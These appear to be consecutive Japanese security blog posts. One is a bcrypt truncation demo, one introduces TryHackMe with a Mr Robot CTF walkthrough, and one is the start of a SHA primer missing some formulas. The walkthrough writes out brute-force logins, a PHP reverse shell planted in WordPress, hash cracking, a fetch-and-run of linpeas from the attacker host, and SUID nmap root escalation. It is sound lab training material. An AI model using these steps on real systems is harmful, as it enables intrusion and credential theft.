このコードではあえて古いバージョンを使いましたが、最新版では最初のハッシュ計算に限っては72文字を超えるとエラーになる実装が入っています。2022/11/15の修正でこのチェックが追加されました。入力値が変わっているはずなのにハッシュが変わらないのはおかしいよね、という理由で、今回の問題とは関係ない理由です。ただし比較する CompareHashAndPassword() の方は保存済みのハッシュとの互換性維持のため、チェックはされません。

現状バージョンでも、パスワードとその前の文字列の合計がぎりぎり72文字になるようにしてハッシュを生成すると、パスワードの前方が一致して後ろに余計な文字列が付いている、というケースであれば突破はできてしまいますね。だいぶ条件が厳しくはなりますが。

package main

import (
	"bytes"
	"log"

	"golang.org/x/crypto/bcrypt"
)

func main() {
	password := []byte("password")
	prefix := bytes.Repeat([]byte("a"), 72-len(password))

	hash, _ := bcrypt.GenerateFromPassword(append(prefix, password...), bcrypt.DefaultCost)

	wrongPassword := []byte("passwordwrong")
	err := bcrypt.CompareHashAndPassword(hash, append(prefix, wrongPassword...))
	log.Println(err)
	// nil
}

どう対策すべきか

ソルトにそれだけ長い文字列を設定できるようなロジックになっていることは稀かと思いますし、世の中はパスワードを32文字制限とかにしているサービスが多いと思うので、まあこの制限にひっかかることはないかなと思います。

万が一、検証時の入力が72文字を超える場合はエラーを返してパスワードリセットに誘導し、長すぎないソルトとパスワード全量が入るようにして再計算させるとかしかないのかな、という気がします。ハッシュだけみてもパスワード長がわからないのでログイン操作をしてもらわないとわからないですからね。

あとは、別のパスワードストレッチアルゴリズムのargon2とかscryptの実装を見ると、文字列長の足切りはやってなさそうなので、新規で作る場合にはbcrypt以外のアルゴリズムを検討してみるのも良いかもしれません。

はじめに

ペンギンになりたいエンジニアの島ノ江です。普段は Cyber Security Innovation Group というセキュリティチームに所属していて、FutureVuls という脆弱性管理サービスの開発・営業をしています。

本記事では以下の内容を扱います：

• セキュリティ学習プラットフォームについて
• TryHackMe のサービス概要
• HackTheBox との比較
• 実際に Room を攻略してみる（Walkthrough）

セキュリティ学習プラットフォームについて

脆弱性は「攻撃」と「防御」という言葉を伴います。ハッカーは外部組織の脆弱性を突いて、ランサムウェアによる身代金の要求や情報漏洩などの攻撃をしかけます。逆に組織のセキュリティチームは様々な手法で攻撃を検知・防御し、組織の情報資産を安全に守るよう努めます。

このような脆弱性の攻撃や防御の手法について、例えば SQL Injection や XSS などの用語を、基本情報技術者試験や参考書などで見かけることがあると思います。しかし、これらの技術を試してみるという実践経験はなかなか積めず、知識で留まっていることは多いと思います。

そのようなお悩みを解決するために、安心安全にサイバーセキュリティのスキルを向上させることができるオンライン学習プラットフォームの１つが TryHackMe です。

よく比較される類似サービスに HackTheBox があります。技術ブログでは過去に HackTheBox の問題を解いてみた記事がありました（参考）。

しかし TryHackMe に関するブログや、最近このようなセキュリティ系の記事が無かったこと、最近私も TryHackMe に課金して利用していることから、今回このテーマで記事を書こうと思い寄稿しました。

サービスの概要紹介

TryHackMe には無料で利用できる Room があります。有料プラン（月間or年間）を契約してより深く学習していくこともできます。

TryHackMe は大きく Learn と Practice に分かれています。Learn は…

• Module：Nmap などのツールや暗号技術などの概念を学ぶ Room の集まり
• Learning Path：特定の目的に沿って一連の Module に取り組む学習コース

からなります。Learning Path で１つずつステップアップすることも、Module 単位でツールをつまみ食いもできます。以下の画像は Learning Path の一部です。Penetration、SOC、Red Teaming などがあります。

Module は いくつかの Room で構成されています。各 Room ではツールの概要やオプションについての解説があり、その後学んだ内容を活かして Question に回答していきます。
例として、後の Walkthrough でも登場する「Hydra」というツールの Room を見てみます（これは Offensive Security Tooling という Module に含まれています）。

Task 1（Hydra Introduction）では Hydra というツールの概要が紹介されています。その後の Task 2（Using Hydra）で、この Hydra を使って実践的な学習をしていきます。「Start Machine」のボタンを押すと、ツールで攻撃をしても問題ない仮想サーバが立ち上がり、実際に Hydra などのツールを試すことができます。
学んだ内容を元に、指示に従ってツールを実行、Question で指定されている flag を狙います（このような攻略対象のサーバに隠された flag を取得するコンテストが CTF(Capture The Flag)です）。Question 全部に正解すれば、その Room はクリアです！

TryHackMe にはブラウザ上で仮想環境を作れる AttackBox という機能もあるので、Windows ユーザなどでも学習したコマンドをブラウザでちょっと試す、ということが可能です。なお、VirtualBox などでローカルに環境を構築し、VPN 接続する方法もあります。

このように、各ツールについてかなり基礎的なところから、実際に手を動かして学ぶことができるようになるのが TryHackMe の特長だと思います。

TryHackMe の良い点と HackTheBox との比較

TryHackMe の良い点

• Learning Path が整備されていて、各種ツールの使い方を個別に学べる Room がある
  • 個人的にはここがよく、学習ハードルを大きく下げてくれて継続しやすいと思います
  • 普段業務で触れていない内容を、業務終わりなどに自分で調べて学習していくのは、興味があるといえど負荷が高いです
  • Practice で詰まったときも、「分からなくなったらここに戻ってこよう」と考えて気楽に取り組めます
• Linux の CLI 練習や Windows の基本、TCP/IP の仕組みなど、かなり基礎的な内容も扱っています
  • この辺は特に未経験の新人の方には嬉しい内容だと思います
  • 既に知っている内容はスキップしたり、英語で学習する機会として利用できます
• 深く学習するには有料プランの契約が必要ですが、年末には年間プランが20%引きになるキャンペーンもやっており、お得に始められます

HackTheBox の良い点

メインテーマから外れるのと TryHackMe より利用していないので、参考程度で。

• より高難度な技術や問題は HackTheBox の方が多いように思います
  • 完全上位互換ではないです
  • より技術を深く理解したい場合は HackTheBox の方が良さそうです

私個人の感想としては、勉強になぞらえると…

• TryHackMe は教科書+章末問題・問題集
• HackTheBox は参考書・問題集

のような感覚です。初めてこの世界に触れるのであれば、難易度・とっつきやすさから TryHackMe が個人的には良いと思います。TryHackMe で基礎的な知識を習得したので次のステップに進みたい、または基礎的な部分は自分で調べられる、という人は HackTheBox を選択すると良いでしょう。

Walkthrough の前に軽くまとめ

せっかくなので TryHackMe の Practice にある Room をこの後攻略していきます。CTF には Walkthrough という、自分がどのように解いていったのかを書いて発信する文化があります。解き終わった後に他の人の手順を読むと、新たな発見や知識を得られることがあります。

この後の Walkthrough は、CTF を知らないと読むのが大変かもしれないです。流し読みでも良いと思うので、「脆弱性が存在するとこんなことが簡単にできるのか」「CTF面白いな」「セキュリティについて知らないで実装するの怖いな」といった感想を抱いてもらえるだけでも嬉しいです。

ネットワークやセキュリティの活きた知識を駆使しながらパズルを解いていくのが CTF の楽しさかなと思います。私もまだ CTF を初めて少ししか経っていないので、知らない知識は山ほどありますし、Room 攻略が全然できないときは悔しく感じます。しかし、Lerning Path での学習では、普段業務では得られない知識も得られ、実際に Room で覚えたことを使って先に進めたときは新鮮な気持ち良さを感じられます。パズルや研究が好きな人には向いているかもしれません。

私は新卒入社での研修後、いきなりセキュリティのチームに配属されました。私もその一人でしたが、馴染みのない人は「セキュリティ系の人たちって普段どんなことしてるんだ？」という疑問を抱くことがあると思います。その点で、 CTF はサイバー攻撃での攻撃・防御を学習する1つの手法として、セキュリティを身近に感じられるものだと思います（もちろん、セキュリティ系の業務は他にも山ほどあります）。「少し新しい世界に触れてみよう」くらいの軽い気持ちででも、CTF を始めてもらえたら幸いです（そして私と一緒に勉強会をしましょう。仲間募集中です。）

先日、株式会社ラック様が公開している「サイバーセキュリティ仕事ファイル」という資料を拝読しました。セキュリティ系の仕事にはどのようなものがあるのか、どのような業務を行っているのか、などを広く知ることができました。上述のような疑問を抱いている方々の参考になれば幸いです。

では、ここからは Learning から Practice に移り、実際のサーバ攻略をしていきます。
Linux や CTF に馴染みのない方は、ここから先は読み流す程度でも構いません。

Room 情報

今回は難易度が Medium のこちらの Mr Robot CTF の Room を攻略していきます。
使用している環境は、VirtualBox 上に構築した Kali Linux で、~/tryhackme/MrRobotCTF という作業ディレクトリ上で作業しています（AttackBox 上ではなく、openvpn で接続しています）

┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF]
└─$ cat /proc/version  
Linux version 6.8.11-amd64 (devel@kali.org) (x86_64-linux-gnu-gcc-13 (Debian 13.2.0-25) 13.2.0, GNU ld (GNU Binutils for Debian) 2.42) #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30)

Walkthrough

Questions は3つありますが、どれも What is key 1? といった形式で、特に調べる場所のヒントはなさそうです。

まずは恒例 nmap でターゲットの偵察をしていきます。

┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF]
└─$ nmap -sV -Pn -oN nmap.txt -v 10.10.203.195
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-27 18:44 JST
（中略）
Nmap scan report for 10.10.203.195
Host is up (0.43s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
443/tcp open   ssl/http Apache httpd

偵察の結果、以下のことが分かりました。

1. ssh の port(22) が closed になっている
2. http の port(80) が open になっている
3. ssl/http の port(443) が open になっている

ひとまず http に chrome からアクセスしてみます。
すると、かっちょいい画面が起動しました。シェルにカタカタと文字が入力され、映画のようなわくわく感があります。しばらくするとコマンドの入力を促されました。

とりあえずコマンドを入れてみます。しかし id や ls 、pwd など基本的な Linux コマンドは使えなさそうです（Command not recognized. Type help for a list of commands. と表示されます）

じゃあ上から順にいくしかないか… ということで、最初の prepare を実行。するとまた別の映像が流れ始めます。
でもよくわからない。developer tool を覗いてみたが、YOU ARE NOT ALONE というメッセージが出ているだけでまだ何も分からない。「WE ARE FSOCIETY」って一体なんでしょうか…

次の fsociety を実行してみます（最初のログイン画面にも出てた単語なので気になります）。すると /fsociety のパスに移動して動画が流れました。画像は省略しますが、ARE YOU READY TO JOIN FSOCIETY? というまたしてもよくわからないメッセージが出ます。同じく他のコマンドでも、パスが切り替わり動画や写真が出てくるが、ぱっと見で使える情報はなさそうですね。攻略後に種明かしができると信じて、いったんスルーします。

公開されている情報の中には使えそうなものはありませんでした。次に、Web サイトに他の公開情報がないかを調べてみます。gobuster や dirb というツールで調べられますが、gobuster の方が高速に動作してくれるのでこちらを使います（某ゴースト退治の映画っぽさもあって好きです）。wordlist（パスの候補となる単語集）に common.txt を使って調査。

┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF]
└─$ gobuster -o gobuster.txt dir -u http://10.10.203.195 -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.203.195
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 213]
/.htaccess            (Status: 403) [Size: 218]
/.htpasswd            (Status: 403) [Size: 218]
/0                    (Status: 301) [Size: 0] [--> http://10.10.203.195/0/]
/admin                (Status: 301) [Size: 235] [--> http://10.10.203.195/admin/]
/atom                 (Status: 301) [Size: 0] [--> http://10.10.203.195/feed/atom/]
/audio                (Status: 301) [Size: 235] [--> http://10.10.203.195/audio/]
/blog                 (Status: 301) [Size: 234] [--> http://10.10.203.195/blog/]
/css                  (Status: 301) [Size: 233] [--> http://10.10.203.195/css/]
/dashboard            (Status: 302) [Size: 0] [--> http://10.10.203.195/wp-admin/]
/favicon.ico          (Status: 200) [Size: 0]
/feed                 (Status: 301) [Size: 0] [--> http://10.10.203.195/feed/]
/image                (Status: 301) [Size: 0] [--> http://10.10.203.195/image/]
/Image                (Status: 301) [Size: 0] [--> http://10.10.203.195/Image/]
/images               (Status: 301) [Size: 236] [--> http://10.10.203.195/images/]
/index.html           (Status: 200) [Size: 1077]
/index.php            (Status: 301) [Size: 0] [--> http://10.10.203.195/]
/js                   (Status: 301) [Size: 232] [--> http://10.10.203.195/js/]
Progress: 2216 / 4615 (48.02%)[ERROR] context deadline exceeded (Client.Timeout or context cancellation while reading body)
/license              (Status: 200) [Size: 309]
/login                (Status: 302) [Size: 0] [--> http://10.10.203.195/wp-login.php]
/page1                (Status: 301) [Size: 0] [--> http://10.10.203.195/]
/phpmyadmin           (Status: 403) [Size: 94]
/rdf                  (Status: 301) [Size: 0] [--> http://10.10.203.195/feed/rdf/]
/readme               (Status: 200) [Size: 64]
/robots               (Status: 200) [Size: 41]
/robots.txt           (Status: 200) [Size: 41]
/rss                  (Status: 301) [Size: 0] [--> http://10.10.203.195/feed/]
/rss2                 (Status: 301) [Size: 0] [--> http://10.10.203.195/feed/]
/sitemap              (Status: 200) [Size: 0]
/sitemap.xml          (Status: 200) [Size: 0]
/video                (Status: 301) [Size: 235] [--> http://10.10.203.195/video/]
/wp-admin             (Status: 301) [Size: 238] [--> http://10.10.203.195/wp-admin/]
/wp-config            (Status: 200) [Size: 0]
/wp-content           (Status: 301) [Size: 240] [--> http://10.10.203.195/wp-content/]
/wp-cron              (Status: 200) [Size: 0]
/wp-includes          (Status: 301) [Size: 241] [--> http://10.10.203.195/wp-includes/]
/wp-load              (Status: 200) [Size: 0]
/wp-links-opml        (Status: 200) [Size: 227]
/wp-login             (Status: 200) [Size: 2671]
/wp-mail              (Status: 500) [Size: 3064]
/wp-signup            (Status: 302) [Size: 0] [--> http://10.10.203.195/wp-login.php?action=register]
/wp-settings          (Status: 500) [Size: 0]
/xmlrpc.php           (Status: 405) [Size: 42]
/xmlrpc               (Status: 405) [Size: 42]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

色々とパスが見つかりました。robots.txt（隠したいファイル名を記載することでクローラの検索から除外できるファイル） が見えるので cat してみましょう。

┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF]
└─$ curl 10.10.203.195/robots.txt
User-agent: *
fsocity.dic
key-1-of-3.txt

1つ目の key が見つかりました。このパスに移動すれば key をゲットです。

併せて fsocity.dic という気になるファイルもあります。.dic というのはバイナリ形式の辞書ファイルらしいです。（ちなみに、あとでブルートフォース攻撃をするタイミングがあり、このファイルを使います）。

/readme を覗くと以下のような内容が書かれていました。

I like where you head is at. However I'm not going to help you.
（意訳：とっかかりの考え方としてはイイね。でもお助けは無しだ。）

煽られました（笑）。CTF ではこの手の煽り文句を見つけられることがあります。出題者が「見つけてくれるかな？」と埋め込んだ隠しネタを見つけたときは嬉しいですね。

さらに探索を続けてみます。gobuster の結果を見るに、これは WordPress で構築されているようです。
ひとまず 301 のそれっぽい /wp-admin のパスを見に行ってみます。するとログインページにリダイレクトされました。

認証回り、SQL Injection を狙えるかなという期待を抱きつつ、ひとまずダミーデータで認証の挙動を確認してみます。 Username: test, Password: password の情報で認証をトライ（画像を載せてませんが、パスワードを入れないと ERROR: The password field is empty. というエラーが出ました）すると、 ERROR: Invalid username. Lost your password? という親切なエラーメッセージが。Username のフィールドが異なるようですね。

developer tool で確認してみると、log: test, pwd: password というパラメータで POST していることが分かりました。
この log の候補となる情報がないか調べてみます。

ブルートフォース攻撃をしたくなったので、先ほど見つけた辞書ファイル fsocity.dic を取得してきます。しかしこのファイル、やけに重い。ダウンロードに2分もかかってます。確認すると 7.0 MB もあります。

┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF]
└─$ curl -O http://10.10.203.195/fsocity.dic 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 7075k  100 7075k    0     0  63412      0  0:01:54  0:01:54 --:--:--   97k

┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF]
└─$ du -h fsocity.dic 
7.0M    fsocity.dic

このまま攻撃に使うと時間がかかるので、中身を less で確認してみます。すると、辞書ファイルに重複する内容が多いことに気が付きます。調べると、全単語が 75 行ずつ重複して存在するようです。

┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF]
└─$ sort fsocity.dic | uniq -c | head -n 3
     75 000
     75 000000
     75 000080

そのまま使うのは時間の無駄なので圧縮します。すると 96 KB まで圧縮できました（約75分の1）

┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF]
└─$ sort fsocity.dic| uniq > fsocity_uniq.dic
                           
┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF]
└─$ du -h fsocity_uniq.dic 
96K     fsocity_uniq.dic

では攻撃をしていきます。 hydra というブルートフォース攻撃ができるツールで調べます。まずは pwd:test で固定、コマンドはこちらを参考にしました。実行には25分かかりましたが、気長に待ちましょう。

┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF]
└─$ hydra -L ./fsocity_uniq.dic -p test 10.10.203.195 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.203.195%2Fwp-admin%2F&testcookie=1:F=Invalid username'
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-27 20:39:07
[DATA] max 16 tasks per 1 server, overall 16 tasks, 11452 login tries (l:11452/p:1), ~716 tries per task
[DATA] attacking http-post-form://10.10.203.195:80/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.203.195%2Fwp-admin%2F&testcookie=1:F=Invalid username
[STATUS] 445.00 tries/min, 445 tries in 00:01h, 11007 to do in 00:25h, 16 active
[STATUS] 416.33 tries/min, 1249 tries in 00:03h, 10203 to do in 00:25h, 16 active
[STATUS] 446.86 tries/min, 3128 tries in 00:07h, 8324 to do in 00:19h, 16 active
[STATUS] 454.92 tries/min, 5459 tries in 00:12h, 5993 to do in 00:14h, 16 active
[80][http-post-form] host: 10.10.203.195   login: Elliot   password: test
[80][http-post-form] host: 10.10.203.195   login: elliot   password: test
[80][http-post-form] host: 10.10.203.195   login: ELLIOT   password: test
[STATUS] 448.71 tries/min, 7628 tries in 00:17h, 3824 to do in 00:09h, 16 active
[STATUS] 447.82 tries/min, 9852 tries in 00:22h, 1600 to do in 00:04h, 16 active
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-27 21:04:42

Elliot, elliot, ELLIOT という3つの Username が正しいものとわかりました。大文字小文字の区別はしていないようです。
試しに Elliot でログインしようとすると、ERROR: The password you entered for the username Elliot is incorrect. Lost your password? というまたしても親切なエラーが返ってきます。

パスワードについてもブルートフォース攻撃で調べられそうです。今回はこのサイトが WordPress のものとわかっているので、これに特化した wpscan というツールを使います。

┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF]
└─$ wpscan --url http://10.10.203.195 -U Elliot -P fsocity_uniq.dic -t 32
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
                               
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
(中略)

[+] Performing password attack on Xmlrpc Multicall against 1 user/s
[SUCCESS] - Elliot / ER28-0652                                                                                                 
All Found                                                                                                                      
Progress Time: 00:00:49 <=====================================                                > (12 / 22) 54.54%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: Elliot, Password: ER28-0652

パスワードが分かりました。得られた認証情報でログインしてみます。

ログインに成功しました！まずは WordPress のサイトへの侵入成功です。画面で触れる箇所が多く、調べたら色々と情報や脆弱性が出てきそうです。今回ログインしたユーザは Elliot Alderson さんという方のようです。メールアドレスや顔写真などの個人情報も出てきました。怖いですねぇ。

次は更に内部に入りこむべく、この WordPress サーバ（OS側）への侵入を試みます。WordPress 上を探索してみると、Appearance > Editor に php のコードが色々とあり、編集ができることに気が付きます。リバースシェルを仕込んで実行させることで、シェルを取得できそうです。

Kali にもともとある php のリバースシェルのスクリプトをコピーしてきます（ちなみに私は php のコードは読めません…）

┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF]
└─$ cp /usr/share/webshells/php/php-reverse-shell.php .

ファイルの中身で「CHANGE THIS」とコメントされている箇所が2か所あるので、そこを変更します。 $ip(自分のローカルマシンのIP) と $PORT(適当に12345) を設定し、保存します。編集したプログラム全体をべろっとコピーして、404.php を更新します。File edited successfully. と出て無事に更新完了です。

ローカルマシン で別タブを開き、 port 12345 で Listen しておきます（nc -lnvp 12345）。その状態で、ブラウザで /404.php にアクセスすると… WordPress サーバのシェルを取得できました！（whoami で daemon と出てますね）

cat /etc/passwd で他にどのようなユーザがいるのか調べます。robot というユーザは問題名からしても気になりますね。

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
(中略)
mysql:x:1001:1001::/home/mysql:
varnish:x:999:999::/home/varnish:
robot:x:1002:1002::/home/robot:

robot に探りを入れてみると、2つ目の key を発見しました。しかし、key の参照権限はファイル所有者の robot しかないようです。

$ ls -l /home/robot/
total 8
-r-------- 1 robot robot 33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13  2015 password.raw-md5

でも password.raw-md5 という気になる名前をしたファイルは、その他のユーザにも参照権限があるようです。

$ cat /home/robot/password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

MD5 とはハッシュ関数の１つで、128bitのハッシュ値を生成します。しかし、MD5 には比較的簡単にハッシュ衝突を計算できるという脆弱性があり、安全性の観点から暗号化には利用されません。

このようなパスワードの解読には JohnTheRipper というツールが使えます。password.raw-md5 の中身を md5.txt というファイルに保存して、 JohnTheRipper で解読してみると、一瞬でパスワードを取得できました。

┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF]
└─$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt md5.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
abcdefghijklmnopqrstuvwxyz (robot)     
1g 0:00:00:00 DONE (2024-10-27 22:21) 10.00g/s 405120p/s 405120c/s 405120C/s bonjour1..123092
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed. 

robot ユーザでログインを試みます。が、terminal から実行してねと怒られました（シェルを取得した際にも、tty にアクセスできないと出てましたね）。

$ su - robot
su: must be run from a terminal

そこで、ログインできるよう新たにシェルを立ちあげます。Python コマンドが実行できそうなので、以下のようにシェルを立ち上げるコマンドを実行します。その後またログインしてみると、 robot ユーザでログインに成功しました！
これで key-2-of-3.txt もゲットできます。

$ python -c 'import pty; pty.spawn("/bin/sh")'
$ su - robot
su - robot
Password:  

$ whoami
whoami
robot

robot ユーザでのログインに成功したので、次は権限昇格を狙います。

robot では sudo でのコマンド実行はできないようです。

$ sudo -l
sudo -l
[sudo] password for robot:

Sorry, user robot may not run sudo on linux.

そこで、 LinPEAS というツールを使って、特権昇格に使えそうな設定不備がないかを調べてみます。

ローカルマシンで別タブを開き、 cp /usr/share/peass/linpeas/linpeas.sh . でスクリプトをコピーしてきます。ターゲットマシンで取得したいので python3 -m http.server 12346 でサーバを起動します。

ターゲットマシンからローカルマシンのIPとポートを指定して wget でアクセスし、スクリプトを取得します（なお、/home/robot 配下では書き込み権限がなくエラーになったので、 /tmp に移動しています）

linpeas.sh に実行権限を付与したら、これを実行して脆弱性を探してみます。

$ wget 10.4.108.90:12346/linpeas.sh
wget 10.4.108.90:12346/linpeas.sh
--2024-10-27 14:43:42--  http://10.4.108.90:12346/linpeas.sh
Connecting to 10.4.108.90:12346... connected.
HTTP request sent, awaiting response... 200 OK
Length: 827739 (808K) [text/x-sh]
Saving to: ‘linpeas.sh’

100%[======================================>] 827,739      354KB/s   in 2.3s   

2024-10-27 14:43:45 (354 KB/s) - ‘linpeas.sh’ saved [827739/827739]

$ chmod +x linpeas.sh

$ ./linpeas.sh | tee linpeas_output.txt

すると、ごろごろと脆弱性が出てきます。ざーっと結果を読んでいくと、特に SUID に関する部分で、nmap を用いた脆弱性があることが見つかりました（LinPEAS は画像のように色付きで注目箇所が分かりとても便利です）

「nmap SUID」と検索したら出てきたこちらのサイトによると、バージョン 2.02～5.21 の間では、nmap には --interactive というオプションがあるようです。nmap --interactive を実行すると、root 権限のシェルにアクセスできるようです（恐ろしい！）
シェルに入って、!ls /root を実行したら最後の key3-of-3.txt もゲットできました。Root 権限でのシェルも手に入れたので、これにて Room 攻略完了です！お疲れさまでした！！

$ nmap --interactive
nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !ls /root 
!ls /root
firstboot_done  key-3-of-3.txt

攻略の整理

今回のフラグ獲得の手順と使ったツールをまとめます。Easy で出てくる一般的なツールを駆使して解き進めるので、比較的とっつきやすい Room だったと思います。

1. ポートスキャンで偵察（nmap）
2. Web サイトの調査（gobuster）
3. WordPress サイトの調査（hydra, wpscan）
4. 初期侵入の実施（reverse shell）
5. 権限昇格の調査（JohnTheRipper, LinPEAS）
6. 権限昇格の実行（nmap --interactive）

攻略後談

今回の Room は 2015 年にアメリカで大ヒットを記録した「Mr. Robot」というドラマが元ネタのようです。有料ですが、字幕版が Prime Video で公開されていますね。有志による Wiki も公開されていて、物語やキャラの情報も色々と知ることができます。

攻略の途中で出てきた単語は以下のような繋がりがあるようです。

• Elliot というユーザ名は、このドラマに登場する主人公、天才ハッカーのエリオット・オルダーソン
• Mr. Robot は世界最大の利権企業を崩壊させようと目論む革命家
• fsociety は Mr. Robot やエリオットが率いるハッカー集団の名称

ドラマのテーマや概要を知ると、最初 http で接続したときに表示された画像や動画の意味が分かるようになりました。ドラマを見たらさらに理解が進みそうですね。
CTF には今回のような元ネタがある Room もあるので、攻略後に調べると「へ～」という発見がって面白い点です。

以上で Walkthrough 、そして本ブログを終えます。

こんにちは。ペンギンになりたいエンジニアの島ノ江です。

普段はCSIGというサイバーセキュリティのグループに所属していて、「FutureVuls」という脆弱性管理サービスの開発・営業などを行なっています。

秋のブログ週間の連載の18本目、「学習のSHA」というタイトルです。

暗号技術について学んでいると「ハッシュ値」という言葉に出会いますが、あまり詳細を追ったことはありませんでした。そこで今回はハッシュ関数およびその代表としてSHAに関する歴史や種類についてまとめます。念のため注意しますが、本記事と某アニメとは何も関係ありません。本当に。

本記事は次の2つを一次情報として参照しています。

• 光成滋生　（2021）. 暗号と認証のしくみと理論がこれ1冊でしっかりわかる教科書　技術評論社（Amazon）
• NIST の 「Hash Functions」 プロジェクト（公式webページ）

せっかくなので、巻末に読書感想文として簡単に書籍の紹介もします。

寄稿の背景

本記事を書こうと思ったのは、ふと暗号技術の安全性に思いを馳せたことからでした。

11月2日(木)に斉藤さんが「初心者が暗号の基礎と歴史を勉強して見た」というタイトルで寄稿されています。これはシーザー暗号などのいわゆる古典暗号から公開鍵暗号などへの歴史を辿っている記事です。

このように暗号技術が変化してきたのには、技術などの発展に伴い暗号技術の安全性が変わっているからです。参考書籍にも「暗号は新しい安全な方式を提案する人と、それを解読しようとする人の両輪でよりよいものになっている」と書かれています。

では、「暗号技術のセキュリティ的な安全性とは？」という興味が湧くので、暗号技術の安全性に関する理解を深めよう、という流れでした。

ハッシュ関数とは

ハッシュ関数とは「文章や画像・動画などの任意のデータから、予め決められた範囲内の値を計算する関数」です。ハッシュ関数は決定的アルゴリズムで、同じ入力値に対して常に同じ値を返します。この入力値をメッセージ、出力のことをハッシュ値、ダイジェストなどとも言います。

ハッシュ関数は様々な場面で利用されていて、具体的には次のようなものがあります。

• 連想配列（JavaでのHashMapなど）
• データベース検索(ハッシュインデックスによる完全一致検索など)
• デジタル署名（送信者の認証など）
• ブロックチェーン技術（データの整合性の確認など）

このハッシュ関数の中で代表的なのが、本稿のタイトルにある「SHA」(Secure Hash Algorithm)です。これはNISTにより標準化されているハッシュアルゴリズムで、現代で広く用いられています。「エス・エイチ・エー」「シャー」と読まれていて、私は読みやすさから特にSHA256などは「シャー・ニゴロ」と読んでいます。

ハッシュ関数は現代で広く利用されている技術ですが、本記事では特に「暗号学的ハッシュ関数」について述べます。
暗号学的ハッシュ関数とは、さらに以下のような性質を持つハッシュ関数を指します。

出力サイズが一定

入力が1バイトであろうとGBであろうと、出力されるサイズは全く同じになる性質があります。

入力データのサイズによらずハッシュ値のサイズが同じだと、処理の効率性や互換性が向上します。

また、ハッシュ値のサイズが同じでないと、出力値から入力値の情報が得られてしまい、暗号分析にも悪用されかねません。

一方向性（原像計算困難性）

入力値からハッシュ値を求めることは簡単だが、その逆が難しい、という性質です。

ハッシュ値は分かるが元のメッセージが分からないという性質から、パスワードを比較的安全に保護することなどに利用されています。

衝突困難性

異なる2個の入力値から同じハッシュ値を得ること（衝突）が難しい（無視できる程度の確率である）、という性質です。

この性質を利用して、データを送る際にその入力値から計算したハッシュ値を併せて送ることで、データが改竄されていないかを確認できます。

これは、入力データが1ビットでも異なると、全く異なるハッシュ値が出力されるためです。

また、衝突困難性には「第二原像計算困難性」という性質があります。

これは、あるハッシュ値が与えられた時に、それと同じハッシュ値になる別のデータを見つけるのが難しい、という性質です。

小噺

その具体例として、学生時代の確率論の授業で、こんな確率を計算したことはあるでしょうか。

(1) N人が所属するクラスの中で、自分と同じ誕生日の人がいる確率は？
(2) N人が所属するクラスの中で、誕生日が同じペアが存在する確率は？

(1)は自分と誕生日が同じ人を探すので第二原像を求める例、(2)はクラスの異なる2人で誕生日が一致するかを探すので衝突を見つける例になります。

計算自体は比較的単純なので、秋の夜長に学生時代に思いを馳せてやってみましょう。

です。wikipediaにちょうどいいグラフがあったので示します。

おおよそ％に対して、 ％となります。

自分と同じ誕生日の人を探すと大変なのに、同じ誕生日になるペアが見つかるのはそれほど不思議ではない、というやや直感的でない結果が得られます（「誕生日のパラドックス」というそうです）。

